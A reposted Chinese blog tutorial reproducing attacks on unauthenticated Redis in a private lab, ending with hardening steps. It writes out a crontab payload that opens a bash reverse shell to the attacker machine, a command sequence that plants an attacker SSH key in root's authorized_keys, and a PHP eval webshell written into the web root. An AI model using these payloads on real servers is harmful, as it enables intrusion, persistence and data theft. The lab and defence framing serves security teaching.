本文转自行云博客https://www.xy586.top/
文章目录
- 未授权访问
- 前提知识
- ssh免密登录
- 客户端
- 服务端
- 安装Redis数据库
- Redis语法
- 原理
- 攻击复现
- 利用计划任务执行命令反弹shell
- 写ssh-keygen公钥然后使用私钥登陆
- 往web物理路径写webshell
- 防御方法
未授权访问
前提知识
ssh免密登录
客户端
进入.ssh文件cd .ssh/
生成公私钥ssh-keygen -t rsa
上传公钥到服务端 ssh-copy-id user@ip
更改.ssh目录跟私钥的权限
chmod 700 .ssh/
chmod 600 .ssh/id_rsa
服务端
进入.ssh/文件,查看authorized_keys文件是否与客户端的id_rsa.pub文件一致
更改authorized_keys文件权限
chmod 600 .ssh/authorized_keys
安装Redis数据库
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
centos7.x安装redis数据库
yum install -y gcc wget
wget http://download.redis.io/releases/redis-3.2.0.tar.gz #安装
tar xzf redis-3.2.0.tar.gz #解压
cd redis-3.2.0 #进入目录
make #编译
cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin #将命令移动到用户命令下
cp redis-conf /etc/ #将改配置文件移动到/etc目录下
vim /etc/redis-conf #修改配合文件,使其可以远程访问
bind 127.0.0.1前面加上#号
protected-mode设为no
redis-server redis-conf #启动redis服务
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件
Redis语法
连接redis:
redis-cli -h 192.168.232.133
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.232.133:6379>info
将变量x的值设为test:
192.168.232.133:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.232.133:6379>flushall
查看所有键:
192.168.232.133:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.232.133:6379>CONFIG GET dir
192.168.232.133:6379>CONFIG GET dbfilename
config set 动态调整Redis服务器的配置
原理
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
攻击复现
靶机(centos):192.168.232.133
攻击机(kali):192.168.232.131
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先攻击机上监听2333端口
nc -lvvp 2333
然后再开一个攻击机的会话,连接redis执行payload
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.131/2333 0>&1\n"
save
此方法获取的shell似乎缺少了很多东西
写ssh-keygen公钥然后使用私钥登陆
利用条件
redis对外开放,且是未授权访问状态
redis服务ssh对外开放,可以通过密钥登入
ssh-keygen -t rsa #创建密钥
cat .ssh/id_rsa.pub#输出密钥文件
kali连接Redis服务器并将密钥发送到靶机
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqj2vwiHfdeMp64uHUFoJ0xhnblfS4s+CbrkCgkQ3nCiTOYL6Y62W7ipuObngJO3lP6GnSacF/NDxBDKEAzLYjFhN7S4fs/sJKqZNP9feIdGSRCpgpAj072IUxqmBIWu4Yz6inzhbmStLFxIJ4oO3/3/20qnRMIlmZRzOeHKcWbd99pM+99k15p9ONDHmpFKBZILtumzJODbq32UyWkrfN7L6n/OuxB5IHv82eIJ0ZATxEJIK5QAjww3qGndMOmj8oMxPh5DXndtrEmLYeJslv9xioAdzvjzsqybaMnwSUlDJOuEuu8vf8Ad9vsaypNDlMvTlO73xCxTJvCcOA/dFCo1wobURjOIv+YjKjaGqezNWtRs0YbqV4cjCSlaEaUdtso+wAa2VnqyNueFvFWHnhXr8TnItkOR0300oaJlFVvCDISuYepr1EQMgoskkBURcQnKJBrTjOkJdijLwoIk0DJN0SXCI+4Y1yfdJ3FfRY8do0Q4cVDRVS+GGqwsjK0UU= root@kali\n\n\n"
save
往web物理路径写webshell
利用条件
目标机关闭了只能本机访问
目标机开启了web服务,知道web的路径以及具有写权限
config set dir /var/www/html
config set dbfilename webshell.php
set x "<?php @eval($_POST['cmd'])?>"
save
访问http://192.168.232.133/webshell.php
,有回显,此时用蚁剑连接
查看靶机的网站目录也发现了该木马文件
防御方法
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
修改 redis.conf 文件,添加 requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放